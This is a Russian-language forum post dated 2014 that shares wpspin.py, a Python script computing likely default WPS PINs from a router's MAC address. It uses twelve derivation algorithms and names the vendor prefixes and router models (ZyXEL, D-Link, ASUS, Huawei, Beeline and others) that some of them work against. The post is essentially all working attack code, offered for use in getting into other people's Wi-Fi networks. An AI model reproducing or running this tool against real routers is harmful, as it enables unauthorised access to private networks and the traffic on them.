Показать сообщение отдельно

  #5  
Старый 16.03.2014, 21:37
binarymaster
Флудер
Регистрация: 11.12.2010
Сообщений: 4,688
Провел на форуме:
997379

Репутация: 125


По умолчанию

Код:
#!/usr/bin/env python
import sys, re

def pin_checksum(pin):
    # WPS PIN Checksum - for more information see hostapd/wpa_supplicant source (wps_pin_checksum) or
    # http://download.microsoft.com/download/a/f/7/af7777e5-7dcd-4800-8a0a-b18336565f5b/WCN-Netspec.doc
    accum = 0
    t = pin
    while (t):
        accum += 3 * (t % 10)
        t /= 10
        accum += t % 10
        t /= 10
    return '%07i%i' % (pin, (10 - accum % 10) % 10)

def gen_hexdec(mac_str):
    return (int(mac_str[6:12], 16) % 10000000)

def gen_beeline(mac_str):
    return ((int(mac_str[6:12], 16) + 756992) % 10000000)

def gen_hexdec_hi(mac_str):
    return ((~int(mac_str[6:12], 16) & 0xFFFFFF) % 10000000)

def gen_hexdec_di(mac_str):
    return (~int(mac_str[6:12], 16) % 10000000)

def gen_hexdec_hda(mac_str):
    return ((gen_hexdec_hi(mac_str) + gen_hexdec_di(mac_str)) % 10000000)

def gen_hexdec_hds(mac_str):
    return ((gen_hexdec_hi(mac_str) - gen_hexdec_di(mac_str)) % 10000000)

def gen_hexdec_dhs(mac_str):
    return ((gen_hexdec_di(mac_str) - gen_hexdec_hi(mac_str)) % 10000000)

def gen_hexdec2x(mac_str):
    return (2*int(mac_str[6:12], 16) % 10000000)

def gen_hexdec3x(mac_str):
    return (3*int(mac_str[6:12], 16) % 10000000)

def gen_hex1_add_hex2_dec(mac_str):
    return ((int(mac_str[0:6], 16)+int(mac_str[6:12], 16)) % 10000000)

def gen_hex1_sub_hex2_dec(mac_str):
    return ((int(mac_str[0:6], 16)-int(mac_str[6:12], 16)) % 10000000)

def gen_hex1_xor_hex2_dec(mac_str):
    return ((int(mac_str[0:6], 16)^int(mac_str[6:12], 16)) % 10000000)

def main():
    if len(sys.argv) != 2:
        sys.exit('Usage: wpspin.py [BSSID]\n eg. wpspin.py 00:11:22:33:44:55\n')

    mac_str = re.sub(r'[^a-fA-F0-9]', '', sys.argv[1])

    if len(mac_str) != 12:
        sys.exit('check MAC format!\n')

    print '\n1. Algorithm: Dec(Hex[6..12])\n'
    print '  WPS PIN: ', pin_checksum(gen_hexdec(mac_str))
    print '\n  Compatible devices:'
    print '  - ZyXEL NDMS (CC:5D:4E, EC:43:F6, FE:F5:28, etc.)'
    print '  - Some TRENDnet (00:14:D1)'
    print '  - D-Link DIR-620 (90:94:E4)'
    print '  - Huawei HG532e (34:6B:D3)'
    print '  - ASUS RT-G32 (20:CF:30, 90:E6:BA, E0:CB:4E)'
    print '\n2. Algorithm: Dec(Hex[6..12]) + 756992\n'
    print '  WPS PIN: ', pin_checksum(gen_beeline(mac_str))
    print '\n  Compatible devices:'
    print '  - Beeline DIR-300 (2C:AB:25)'
    print '\n3. Algorithm: Dec(Inv(Hex[6..12]))\n'
    print '  WPS PIN: ', pin_checksum(gen_hexdec_hi(mac_str))
    print '\n4. Algorithm: Inv(Dec(Hex[6..12]))\n'
    print '  WPS PIN: ', pin_checksum(gen_hexdec_di(mac_str))
    print '\n5. Algorithm: Dec(Inv(Hex[6..12])) + Inv(Dec(Hex[6..12]))\n'
    print '  WPS PIN: ', pin_checksum(gen_hexdec_hda(mac_str))
    print '\n6. Algorithm: Dec(Inv(Hex[6..12])) - Inv(Dec(Hex[6..12]))\n'
    print '  WPS PIN: ', pin_checksum(gen_hexdec_hds(mac_str))
    print '\n7. Algorithm: Inv(Dec(Hex[6..12])) - Dec(Inv(Hex[6..12]))\n'
    print '  WPS PIN: ', pin_checksum(gen_hexdec_dhs(mac_str))
    print '\n8. Algorithm: Dec(Hex[6..12]) * 2\n'
    print '  WPS PIN: ', pin_checksum(gen_hexdec2x(mac_str))
    print '\n9. Algorithm: Dec(Hex[6..12]) * 3\n'
    print '  WPS PIN: ', pin_checksum(gen_hexdec3x(mac_str))
    print '\n10. Algorithm: Dec(Hex[0..6]) + Dec(Hex[6..12])\n'
    print '  WPS PIN: ', pin_checksum(gen_hex1_add_hex2_dec(mac_str))
    print '\n11. Algorithm: Dec(Hex[0..6]) - Dec(Hex[6..12])\n'
    print '  WPS PIN: ', pin_checksum(gen_hex1_sub_hex2_dec(mac_str))
    print '\n12. Algorithm: Dec(Hex[0..6]) xor Dec(Hex[6..12])\n'
    print '  WPS PIN: ', pin_checksum(gen_hex1_xor_hex2_dec(mac_str))

if __name__ == "__main__":
    main()
Обновил скрипт wpspin.py, добавил несколько простых алгоритмов. Может быть некоторые из них подойдут к каким-то роутерам.
 
Ответить с цитированием